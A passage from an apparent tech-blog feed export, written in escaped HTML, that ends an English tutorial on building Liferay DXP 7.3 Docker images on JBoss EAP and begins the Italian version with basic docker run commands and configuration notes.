-2-6-2l-7%201H2c-1%201-1%200-1-2v-3h10l10-1v-1l2%201h3c0%202%203%201%203-1-1-2-10-2-13-1h-4c-1%202-2%202-2%201-1-2-7-2-8-1l-1-8-1%2039M356%203c-2%202-2%202%200%204%203%202%203%202%2023%202h21V1h-21c-20%200-22%200-23%202M232%2034l1%201v3l2-1c1-2%201-2%202-1h1l1%201h3c1-2%202-2%202-1l1%201h1c1%201%209%201%2010-1h3l2-2v2h1c2-2%202-2%202%200%201%202%203%202%203-1l1-1v2h1c2-2%202-2%202%200%201%203%203%202%203-1%200-2-1-2-18-2a142%20142%200%2000-21%201l-1-1-2%201m1%207v3h24l3%201c2%200%203-1%203-2l1-1%201%202c-1%201%200%201%202%201%203%200%204-3%202-4-1-1-1%200-1%201l-1%202-1-2c0-2-6-2-8-1h-25m-53%209c0%203%200%203%2016%203%2015%200%2015%200%2014-2-1-3-1-4-2-2h-1l-2%201h-2c0-3-5-2-6%200s-1%202-1%200c0-3-16-3-16%200m53-1v2c0%202%200%202%202%200h1c0%202%2016%202%2017%200h1c0%202%200%202%202%201h1l3%201c3%200%204-1%204-3-1-1-1-2-5-2l-6%201h-1l-5-1-4%201h-10m-1%2016c0%202%200%203%203%203l4-1%201-2v2h1l2-1c0%202%205%202%206%201h14l1-2v1c0%201%201%202%205%202%205%200%205-1%205-3s0-2-2-1h-26l-5-1-5%201h-2c-2-1-2-1-2%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c70b834e76fd5ea47797e45eb36c2659/c85cb/docker-images-liferay-7.3.webp 300w,/static/c70b834e76fd5ea47797e45eb36c2659/e88ff/docker-images-liferay-7.3.webp 600w,/static/c70b834e76fd5ea47797e45eb36c2659/92f8c/docker-images-liferay-7.3.webp 1200w,/static/c70b834e76fd5ea47797e45eb36c2659/464f9/docker-images-liferay-7.3.webp 1259w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c70b834e76fd5ea47797e45eb36c2659/5a46d/docker-images-liferay-7.3.png 300w,/static/c70b834e76fd5ea47797e45eb36c2659/0a47e/docker-images-liferay-7.3.png 600w,/static/c70b834e76fd5ea47797e45eb36c2659/c1b63/docker-images-liferay-7.3.png 1200w,/static/c70b834e76fd5ea47797e45eb36c2659/0f529/docker-images-liferay-7.3.png 1259w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 32 - New image just created of Liferay 7.3 DXP GA1&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c70b834e76fd5ea47797e45eb36c2659/c1b63/docker-images-liferay-7.3.png&quot; title=&quot;Figure 32 - New image just created of Liferay 7.3 DXP GA1&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 32 - New image just created of Liferay 7.3 DXP GA1&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;81-test-of-the-new-liferay-dxp-73-image&quot;&gt;8.1. Test of the new Liferay DXP 7.3 image&lt;/h3&gt;&lt;p&gt;In order to perform a verification of the newly created image, it is enough
run the &lt;code&gt;docker run -it {&amp;lt;imageid&amp;gt; | &amp;lt;image name&amp;gt;}&lt;/code&gt; command. From the logs shown in
console we can check if the Liferay instance does not go up correctly.
The figure below shows that the container has gone up correctly, see the
&lt;strong&gt;STATUS&lt;/strong&gt; column.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a6a78c075758ab67782fc99cc282a813/b2b2c/docker-ps-liferay-dxp-7.3.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:9%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;36\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2036\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2018v18h401V0h-3c-4%200-4%200-4%203l-1%202-2-2c0-3%200-3-8-3-9%200-9%200-9%203l-1%203V0h-44v3c0%202%200%202-4%202-5%200-5%200-5-2s-1-3-2-3v1c2%201%200%203-4%204-3%200-4%200-4-3%201-2-1-3-3-1v2c2%202%200%203-3%203-1%200-2%200-2%202%201%202-3%203-4%201h-3l-1%201-1-3%201-1h2c1-1%200-1-3-1s-4%200-4%202h1c0-2%202-1%202%201l-1%201h-1c-2%202-3%201-2-1V6h-17c-16%200-18%200-18%202%200%201%200%202-2%202s-2%200-2-2l-2-4c-2-1-2-1-1-3%201-1%201-1-3-1-5%200-5%200-5%203%201%201%200%202-1%202s-2-1-1-2V0H122C23%200%209%200%2010%201c2%203%200%204-4%204S1%205%201%202C0%201%200%208%200%2018m0%201c0%209%200%2017%201%2016%200-2%201-2%205-2l5-1c1-2-2-4-6-4-3%200-4%200-3-1l1-4-1%202c-1%201-1%200-1-1%200-3-1-3%2018-3%2012%200%2013%200%2013-2-1-2-5-2-8-1h-3c-1-1-1-1-1%201h-1l-3-1h-4l-5%201H1V9l4%201%204-1h1c1%201%201%201%201-1%200-1-1-2-5-2-4%201-5%200-5-2L0%2019m224%204c-1%204-1%204%205%204l5-1h15c1%201%2015%201%2015-1%200-1-10-2-12-1h-2l-19%201c-2%201-3%201-3-1h-3l-1-1m23%207v3l31%201c25%200%2034-1%2029-2v-2c1-2-1-2-29-2-25%200-30%200-31%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a6a78c075758ab67782fc99cc282a813/c85cb/docker-ps-liferay-dxp-7.3.webp 300w,/static/a6a78c075758ab67782fc99cc282a813/e88ff/docker-ps-liferay-dxp-7.3.webp 600w,/static/a6a78c075758ab67782fc99cc282a813/92f8c/docker-ps-liferay-dxp-7.3.webp 1200w,/static/a6a78c075758ab67782fc99cc282a813/44f6d/docker-ps-liferay-dxp-7.3.webp 1708w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a6a78c075758ab67782fc99cc282a813/5a46d/docker-ps-liferay-dxp-7.3.png 300w,/static/a6a78c075758ab67782fc99cc282a813/0a47e/docker-ps-liferay-dxp-7.3.png 600w,/static/a6a78c075758ab67782fc99cc282a813/c1b63/docker-ps-liferay-dxp-7.3.png 1200w,/static/a6a78c075758ab67782fc99cc282a813/b2b2c/docker-ps-liferay-dxp-7.3.png 1708w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 33 - Liferay DXP container status check 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a6a78c075758ab67782fc99cc282a813/c1b63/docker-ps-liferay-dxp-7.3.png&quot; title=&quot;Figure 33 - Liferay DXP container status check 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 33 - Liferay DXP container status check 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;We could for example connect to the container and subsequently verify through
the JBoss EAP console if the patch has been applied.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/938797c9f457f8d36bce9002fc01c447/27e9a/check-jboss-eap-7.3.version-and-patch-info.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:43%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;172\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20172\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2086v86h401V0H0v86m0%201a1844%201844%200%20002%2067c0%201%206%201%209-1l4%201h4l1-2c0-2%200-2-1-1H3c-1%200-2-1-2-3%200-1%200-2%201-1%203%201%2011%200%2012-2H6l-1-1v1l-1%201-1-1v-2l-1%201c-1%201-1%200-1-2%200-4%200-4%201-3h2c0-1%201-1%202%201h6c0%201%202%200%202-2l-4-1a28%2028%200%2001-8-1l-1-16v-16l3%201h4c1-2-1-3-4-3-3%201-3%200-3-2s0-3%204-2l3-1-4-1H1V57c0-22%200-39%201-38%200%203%202%202%202%200%201-1%200-2-1-2-2%200-2-1-2-8L0%2087\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/938797c9f457f8d36bce9002fc01c447/c85cb/check-jboss-eap-7.3.version-and-patch-info.webp 300w,/static/938797c9f457f8d36bce9002fc01c447/e88ff/check-jboss-eap-7.3.version-and-patch-info.webp 600w,/static/938797c9f457f8d36bce9002fc01c447/92f8c/check-jboss-eap-7.3.version-and-patch-info.webp 1200w,/static/938797c9f457f8d36bce9002fc01c447/cd2f7/check-jboss-eap-7.3.version-and-patch-info.webp 1253w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/938797c9f457f8d36bce9002fc01c447/5a46d/check-jboss-eap-7.3.version-and-patch-info.png 300w,/static/938797c9f457f8d36bce9002fc01c447/0a47e/check-jboss-eap-7.3.version-and-patch-info.png 600w,/static/938797c9f457f8d36bce9002fc01c447/c1b63/check-jboss-eap-7.3.version-and-patch-info.png 1200w,/static/938797c9f457f8d36bce9002fc01c447/27e9a/check-jboss-eap-7.3.version-and-patch-info.png 1253w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 34 - Check JBoss EAP version and Patch installed&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/938797c9f457f8d36bce9002fc01c447/c1b63/check-jboss-eap-7.3.version-and-patch-info.png&quot; title=&quot;Figure 34 - Check JBoss EAP version and Patch installed&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 34 - Check JBoss EAP version and Patch installed&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;If we tried to make a connection to the portal via the browser, it would come
license installation required. &lt;strong&gt;I remember that the images thus created are
unlicensed&lt;/strong&gt;; To use the portal, you need to install the license file
copying it into the deploy directory.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/369d0567d4d5838ff370aa841c9c1d99/8dd93/liferay-dxp-activation.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:75.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;302\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20302\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%206v5h401V0H0v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/369d0567d4d5838ff370aa841c9c1d99/c85cb/liferay-dxp-activation.webp 300w,/static/369d0567d4d5838ff370aa841c9c1d99/e88ff/liferay-dxp-activation.webp 600w,/static/369d0567d4d5838ff370aa841c9c1d99/92f8c/liferay-dxp-activation.webp 1200w,/static/369d0567d4d5838ff370aa841c9c1d99/61eb3/liferay-dxp-activation.webp 1369w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/369d0567d4d5838ff370aa841c9c1d99/5a46d/liferay-dxp-activation.png 300w,/static/369d0567d4d5838ff370aa841c9c1d99/0a47e/liferay-dxp-activation.png 600w,/static/369d0567d4d5838ff370aa841c9c1d99/c1b63/liferay-dxp-activation.png 1200w,/static/369d0567d4d5838ff370aa841c9c1d99/8dd93/liferay-dxp-activation.png 1369w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 35 - Connection to the Liferay DXP portal 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/369d0567d4d5838ff370aa841c9c1d99/c1b63/liferay-dxp-activation.png&quot; title=&quot;Figure 35 - Connection to the Liferay DXP portal 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 35 - Connection to the Liferay DXP portal 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;9-resources&quot;&gt;9. Resources&lt;/h2&gt;&lt;p&gt;The extension of the &lt;a href=&quot;https://github.com/smclab/liferay-docker&quot;&gt;liferay-docker&lt;/a&gt;
project is available on the &lt;a href=&quot;https://www.smc.it&quot;&gt;SMC&lt;/a&gt; GitHub repository.&lt;/p&gt;&lt;p&gt;To follow I leave a series of resources that are the reference point for
contents of this article.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360022307392-Leveraging-Docker&quot;&gt;Leveraging Docker&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360028834412-Creating-a-Liferay-DXP-Docker-Container&quot;&gt;Creating a Liferay DXP Docker Container&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360028834432-Configuring-a-Docker-Container&quot;&gt;Configuring a Docker Container&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.liferay.com/resources/whitepapers/Deploying+Liferay+DXP+Using+Docker&quot;&gt;Deploying Liferay DXP Using Docker&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.dontesta.it/en/2019/08/21/how-to-build-a-docker-liferay-7-2-image-with-the-oracle-database-support/&quot;&gt;How to build a Docker Liferay 7.2 image with the Oracle Database support&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2 id=&quot;10-conclusions&quot;&gt;10. Conclusions&lt;/h2&gt;&lt;p&gt;Welcome to the end! For beings who have come to the end of reading this
article, I&amp;#x27;m pretty sure you&amp;#x27;ve found yourself in the situation
of having to create an image of Liferay, where Liferay is installed on a
Application Server other than Apache Tomcat, or that you are about to have to
deal with this activity.&lt;/p&gt;&lt;p&gt;I have found myself several times in this situation, and the path I wanted to indicate
with this article it is the one that I consider most advantageous, especially in terms
of simplicity in the image creation phase and finally, the image as well
obtained conforms to those produced by Liferay itself.&lt;/p&gt;&lt;p&gt;How did you approach this subject? Let&amp;#x27;s discuss it together.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk17 { color: #808080; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk12 { color: #9CDCFE; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Come creare immagini Docker Liferay DXP + Red Hat JBoss EAP]]></title><link>https://techblog.smc.itcome-creare-immagini-docker-liferay-dxp-jboss-eap</link><guid isPermaLink="false">https://techblog.smc.itcome-creare-immagini-docker-liferay-dxp-jboss-eap</guid><pubDate>Wed, 21 Oct 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Docker è diventato sempre più popolare nel ciclo di vita di sviluppo odierno,
fornendo un modo automatizzato per impacchettare il software e le sue dipendenze
in un&amp;#x27;unità standardizzata che può essere condivisa su più piattaforme.
Per maggiori approfondimenti sull&amp;#x27;argomento, consiglio una &amp;quot;puntatina&amp;quot; all&amp;#x27;ampia
documentazione di &lt;a href=&quot;https://www.docker.com/&quot;&gt;Docker&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Con questo articolo voglio prendervi per mano e portavi fino alla costruzione di
un&amp;#x27;immagine Docker di &lt;a href=&quot;https://www.liferay.com&quot;&gt;Liferay DXP&lt;/a&gt; installato su &lt;a href=&quot;https://www.redhat.com/en/technologies/jboss-middleware/application-platform&quot;&gt;Red Hat JBoss EAP&lt;/a&gt;.
Armatevi di pazienza perché la strada sarà un pochino lunga ma sono sicuro che
all&amp;#x27;arrivo rimarrete soddisfatti.&lt;/p&gt;&lt;p&gt;L&amp;#x27;articolo è incentrato sulla versione 7.2 di Liferay DXP e sulla versione 7.2
di Red Hat JBoss EAP. Qualcuno di voi saprà che il 13 di ottobre 2020 è stata
rilasciata la versione 7.3 di Liferay DXP, e sono sicuro che vi farà piacere sapere
che ho dedicato l&amp;#x27;ultimo capitolo alla creazione dell&amp;#x27;immagine con quest&amp;#x27;ultima
versione di Liferay installata sull&amp;#x27;ultima versione di JBoss EAP 7.3.&lt;/p&gt;&lt;h2 id=&quot;1-le-immagini-docker-standard-di-liferay&quot;&gt;1. Le immagini Docker standard di Liferay&lt;/h2&gt;&lt;p&gt;Liferay fornisce immagini ufficiali Docker per i seguenti prodotti. Queste immagini
sono liberamente fruibili e pubblicate sul repository &lt;a href=&quot;https://docs.docker.com/docker-hub/&quot;&gt;Docker Hub&lt;/a&gt;
di Liferay. Ad ogni rilascio di prodotto è disponibile la relativa immagine Docker.
La figura a seguire mostra appunto le ultime immagini Docker di Liferay DXP versione 7.3.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/liferay/portal&quot;&gt;Portale Liferay (Community Edition)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/liferay/dxp&quot;&gt;Liferay DXP&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/liferay/commerce&quot;&gt;Liferay Commerce&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/liferay/portal-snapshot&quot;&gt;Snapshot del portale Liferay&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5c4b2100f5992fcd586508f84e032ed8/b29d9/liferay-dxp-docker-hub-repository.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:64%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;256\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20256\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2010v9h401V0H0v10m19%2048l-6%203v6c0%206%200%206%203%209%208%208%2013%208%2021%200%203-3%203-3%203-9v-6l-6-3c-8-5-7-5-15%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/5c4b2100f5992fcd586508f84e032ed8/c85cb/liferay-dxp-docker-hub-repository.webp 300w,/static/5c4b2100f5992fcd586508f84e032ed8/e88ff/liferay-dxp-docker-hub-repository.webp 600w,/static/5c4b2100f5992fcd586508f84e032ed8/92f8c/liferay-dxp-docker-hub-repository.webp 1200w,/static/5c4b2100f5992fcd586508f84e032ed8/62ed8/liferay-dxp-docker-hub-repository.webp 1800w,/static/5c4b2100f5992fcd586508f84e032ed8/19b3a/liferay-dxp-docker-hub-repository.webp 1989w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/5c4b2100f5992fcd586508f84e032ed8/5a46d/liferay-dxp-docker-hub-repository.png 300w,/static/5c4b2100f5992fcd586508f84e032ed8/0a47e/liferay-dxp-docker-hub-repository.png 600w,/static/5c4b2100f5992fcd586508f84e032ed8/c1b63/liferay-dxp-docker-hub-repository.png 1200w,/static/5c4b2100f5992fcd586508f84e032ed8/d61c2/liferay-dxp-docker-hub-repository.png 1800w,/static/5c4b2100f5992fcd586508f84e032ed8/b29d9/liferay-dxp-docker-hub-repository.png 1989w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Repository Docker Hub di Liferay&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/5c4b2100f5992fcd586508f84e032ed8/c1b63/liferay-dxp-docker-hub-repository.png&quot; title=&quot;Figura 1 - Repository Docker Hub di Liferay&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Repository Docker Hub di Liferay&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;È possibile estrarre le immagini Docker di Liferay dalle risorse indicate in
precedenza e gestirle in modo indipendente. &lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360029147471-Liferay-Workspace&quot;&gt;Liferay Workspace&lt;/a&gt;,
tuttavia, fornisce un modo semplice per integrare lo sviluppo Docker nel tuo
flusso di lavoro esistente con attività o task Gradle preconfezionate.&lt;/p&gt;&lt;p&gt;Grazie al Liferay Workspace possiamo eseguire le seguenti attività.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Creazione di un container Docker basato su un&amp;#x27;immagine standard fornita via Docker Hub.&lt;/li&gt;&lt;li&gt;Configurazione del container.&lt;/li&gt;&lt;li&gt;Interagire con il container.&lt;/li&gt;&lt;li&gt;Creazione di un&amp;#x27;immagine Liferay personalizzata.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Tutte le informazioni di dettaglio sono disponibili sulla documentazione ufficiale
di Liferay &lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360022307392-Leveraging-Docker&quot;&gt;Leveraging Docker&lt;/a&gt;.
I prossimi paragrafi descrivono in modo sintetico come sono organizzate le immagini
prodotte da Liferay.&lt;/p&gt;&lt;h3 id=&quot;11-tags&quot;&gt;1.1. Tags&lt;/h3&gt;&lt;p&gt;I tag seguono il formato {versione}-{data}. Versione indica la versione di
Liferay DXP e data indica la data in cui è stata creata l&amp;#x27;immagine Docker. I tag
che seguono il formato {versione} puntano sempre all&amp;#x27;ultimo tag che segue il
formato {versione}-{data}.&lt;/p&gt;&lt;p&gt;Le immagini DXP sono fornite con una licenza di prova di 30 giorni. Le immagini
più vecchie verranno eliminate regolarmente e saranno disponibili nuove immagini
con una nuova licenza di prova di 30 giorni.&lt;/p&gt;&lt;h3 id=&quot;12-runnings&quot;&gt;1.2. Runnings&lt;/h3&gt;&lt;p&gt;Per avviare Liferay DXP, sostituisci {tag} ed esegui il comando
&lt;code&gt;docker run -it -p 8080:8080 liferay/dxp:{tag}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;L&amp;#x27;argomento &lt;strong&gt;-it&lt;/strong&gt; consente di arrestare il container con la combinazione di
tasti CTRL-C. Altrimenti, devi usare il comando &lt;code&gt;docker kill {containerId}&lt;/code&gt;
(o altri equivalenti) per fermare il container.&lt;/p&gt;&lt;p&gt;L&amp;#x27;argomento &lt;strong&gt;-p 8080:8080&lt;/strong&gt; mappa la porta 8080 del container con la porta 8080
dell&amp;#x27;host in modo da poter accedere a Liferay DXP utilizzando un browser.&lt;/p&gt;&lt;h3 id=&quot;13-evironment-variables&quot;&gt;1.3. Evironment Variables&lt;/h3&gt;&lt;p&gt;È possibile ottimizzare i parametri della JVM di default impostando la variabile
di ambiente LIFERAY_JVM_OPTS.&lt;/p&gt;&lt;p&gt;Puoi personalizzare il comportamento di Liferay DXP tramite variabili d&amp;#x27;ambiente
che fanno riferimento alle proprietà di configurazione definite sul file portal.properties.
Ad esempio, se desideri configurare l&amp;#x27;istanza Liferay solo per la lingua inglese
e portoghese, puoi adottare una delle seguenti strategie:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;creare il file portal-ext.properties con la voce &lt;code&gt;locales.enabled=en_US, pt_BR&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;impostare la variabile d&amp;#x27;ambiente &lt;code&gt;LIFERAY_LOCALES_PERIOD_ENABLED=en_US, pt_BR&lt;/code&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Le variabili d&amp;#x27;ambiente hanno la precedenza su portal.properties. La rispettiva
variabile d&amp;#x27;ambiente di ciascuna proprietà è documentata all&amp;#x27;interno del file
portal.properties.&lt;/p&gt;&lt;h3 id=&quot;14-file-system&quot;&gt;1.4. File System&lt;/h3&gt;&lt;p&gt;Per testare rapidamente le modifiche senza creare una nuova immagine, mappare il
file system dell&amp;#x27;host al file system del contenitore.&lt;/p&gt;&lt;p&gt;Avvia il container con l&amp;#x27;opzione &lt;code&gt;-v $(pwd)/xyz123:/mnt/liferay&lt;/code&gt; per collegare
&lt;code&gt;$(pwd)/xyz123&lt;/code&gt; nel sistema operativo host a &lt;strong&gt;/mnt/liferay&lt;/strong&gt; sul container. Ricordo
